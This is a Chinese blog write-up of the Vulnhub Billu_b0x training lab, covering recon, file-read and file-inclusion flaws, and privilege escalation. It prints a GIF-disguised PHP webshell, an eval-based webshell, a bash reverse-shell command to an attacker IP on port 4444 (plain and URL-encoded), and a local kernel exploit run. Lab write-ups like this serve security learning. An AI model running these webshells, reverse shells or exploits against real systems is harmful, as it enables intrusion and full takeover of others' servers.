Vulnhub Billu_b0x靶机

Vulnhub Billu_b0x靶机

中等难度靶机,以web渗透模板为主

说明

靶场下载地址:https://www.vulnhub.com/entry/billu-b0x,188/

渗透靶机:VMware

攻击靶机:本地机+kail(VMware)

Flag:获取 root 权限

启动 Billu_b0x 靶机,界面显示登录界面,这是正常运行情况,我们也并没有登录账号,需要自己去渗透测试进行提权。回到我们的攻击机

信息收集

发现IP

(1)扫描内网,发现目标主机IP

使用命令: arp-scan -l 发现内网中的靶机


扫描端口

(2)利用nmap对目标主机进行端口扫描,发现开放端口

使用命令:nmap -sV -A -p- 192.168.43.40

-A 做服务识别和深度扫描
-sV 用来扫描目标主机和端口上运行的软件的版本
-p 80 指定80端口
-p- 扫描0-65535全部端口

在这里插入图片描述

发现目标主机端口和服务如下:

端口 协议 后端服务

TCP 22 SSH OpenSSH 5.9p1

TCP 80 HTTP Apache httpd 2.2.22


进入web首页:发现用户名口令输入框,并提示“Show me your SQLI skills”。但只提供了一个登录页面。
在这里插入图片描述

漏洞挖掘

根据目前已有的信息

  • 漏洞挖掘思路:

(1)SQL注入:主页提示注入,可以尝试手工或者利用工具进行测试注入漏洞

(2)目录爆破:使用工具进行爆破,是否有隐藏的新网页

(3)漏洞扫描:使用自动化工具进行漏洞检测

(4)寻找ssh用户名和密码


测试首页的SQL注入

手工测试
  • 万能密码
  • 报错尝试

尝试用户名输入 admin'or '1'='1 ,密码随意,但无法注入,出现 js 弹框 Try again:

在这里插入图片描述

又测试了一些其他的特殊字符串都没什么特别。

sqlmap工具测试

使用 sqlmap 进行 POST 注入,命令如下:

sqlmap.py -u "192.168.43.40" --data="un=admin&ps=admin&login=let%27s+login" --dbms mysql

在这里插入图片描述

但结果未检测到存在注入点,目前也不知道系统对注入的过滤规则是什么,使用 sqlmap 自带的 tamper 测试也失败了。

暂时放过SQL注入的检测,试试暴破目录


尝试路径扫描,发现隐藏文件

这里使用是 kali 自带的 dirb 扫描器工具,字典也是kali自带的。执行命令:

dirb "http://192.168.43.40/" /usr/share/dirb/wordlists/big.txt

在这里插入图片描述

获取大量页面:test.php、add.php、in.php、c.php、index.php、show.php等,

目录有:uploaded_images,phpmy

进行依次访问:

  • test.php :可以提交file参数
  • add.php:一个文件上传的页面(但是静态页面)
  • in.php:phpinfo()信息
  • c.php:空白显示
  • index.php:主页登录栏
  • show.php:空白显示
  • uploaded_images:存放图片的文件夹
  • phpmy:存放phpMyAdmin文件

任意文件下载获取网页源码

访问 test.php:页面提示 file 参数为空,需要提供 file 参数在这里插入图片描述

使用 GET 请求提交参数 ?file=/etc/passwd ,包含失败,依旧提示 file 参数为空

使用burp抓取数据包,改为 POST 请求,进行提交参数 file=/etc/passwd

包含成功,并显示了文件信息。

在这里插入图片描述

既然可以任意读取文件,那么使用 Hackbar工具进行 POST 请求。将之前获取到的文件源码通通打包下来。

在这里插入图片描述

源码审计

进行简单审计可以发现

(1)index.php

主页,提供了登录功能,但代码逻辑杜绝 sql 注入。包含了 c.php 和 head.php

(2)c.php

执行数据库连接操作,记录了数据库的账号信息

(3)add.php 一段获取上传的文件内容表单

(4)test.php 获取 $file 变量进行下载文件

利用在源码中获取的账号登录之前通过目录扫描获取到的 phpmyadmin 登录界面

billu b0x_billu

进行登录成功,查看数据库表可以获得主页登录账号。biLLu hEx_it

在这里插入图片描述

登录成功后跳转到 panel.php 页面
在这里插入图片描述

同样获取 panel.php 的源码进行审计

它包含了之前爆破到的 show.phpadd.php 页面用于插入和获取数据。
在这里插入图片描述

尝试在数据库中写入一条 shell 语句,通过执行的 sql 语句解析在前端页面,但结果失败了。

查看其文件 show.php 源码可以发现他用了 htmlspecialchars() 防止了解析。在add.php使用 mysqli_real_escape_string() 防止了 SQL 注入。

利用函数把 < 和 > 转换为实体常用于防止浏览器将其用作 HTML 元素。当用户有权在页面上显示输入时,对于防止代码运行非常有效。


文件上传+文件包含实现getshll

依旧审计 panel.php 的文件代码,可以发现其实存在任意文件包含。
在这里插入图片描述

配合其上传功能代码。可以实现getshll。

上传功能其使用的是白名单限制,并对文件头进行了校验。但利用图片马可以绕过。

代码检测逻辑是:对文件名校验→对文件头校验。

利用burp上传一句话木马,使用 GIF89a 文件头绕过,一句话木马内容为 <?php system($_GET['cmd']); ?>
在这里插入图片描述

使用hackbar 执行内容:

URL:
http://192.168.43.40/panel.php?cmd=ls

POST提交
load=/uploaded_images/onetree.jpg&continue=continue

成功执行命令 ls ,打印当前目录文件。

在这里插入图片描述

写入菜刀马

利用我们的图片马,写入一个webshell。

利用图片马先进行反弹shell

?cmd=echo "bash -i >& /dev/tcp/192.168.43.11/4444 0>&1" | bash

PS:传入前需进行URL编码
?cmd=%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%33%2e%31%31%2f%34%34%34%34%20%30%3e%26%31%22%20%7c%20%62%61%73%68

在这里插入图片描述

进入上传目录 uploaded_images (有写入权限),写一个菜刀马。执行命令:

echo '<?php eval($_POST['123']);?>' >> caidao.php

连接菜刀成功

在这里插入图片描述

提权

方法一:利用系统版本漏洞使用 exp 提权

(1) 查看系统内核版本,命令uanme -acat /etc/issue
在这里插入图片描述

(2) 使用 msf 寻找 exp

searchsploit Ubuntu 12.04

在这里插入图片描述

利用蚁剑将该文件上传到目标靶机中。

并赋予执行权限:

chmod 777 37292.c

编译exp:

gcc 37292.c -o exp

执行exp,提权至root:
在这里插入图片描述

方法二:通过文件包含下载配置文件获取到root账号

通过蚁剑查看其文件目录结构,可以找到 phpmyadmin 的默认配置文件 config.inc.php,里面记录了 root 用户的账号
在这里插入图片描述

尝试使用该用户进行ssh登录

ssh root@192.168.43.40

在这里插入图片描述

登录成功,且为root用户

在这里插入图片描述

总结

这个靶机主要以web端的getshell为主,内网的知识点不多。

(1)目录扫描是一种非常有效的突破方式,但同时它的高效是建立在字典的基础上

(2)注重代码审计。panel.php 的文件包含漏洞,如果不认真关注源码,难以发现。使用 test.php 的文件包含,没能触发 shell 利用。

(3) 文件上传+文件包含拿 shell 是常用的方式,遇到两个漏洞,要能够熟练快速拿 shell。

(4) 提权方法可以多关注主要的配置文件、数据库连接文件、用户的文件;也可以利用 Ubuntu 已知漏洞本地提权。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值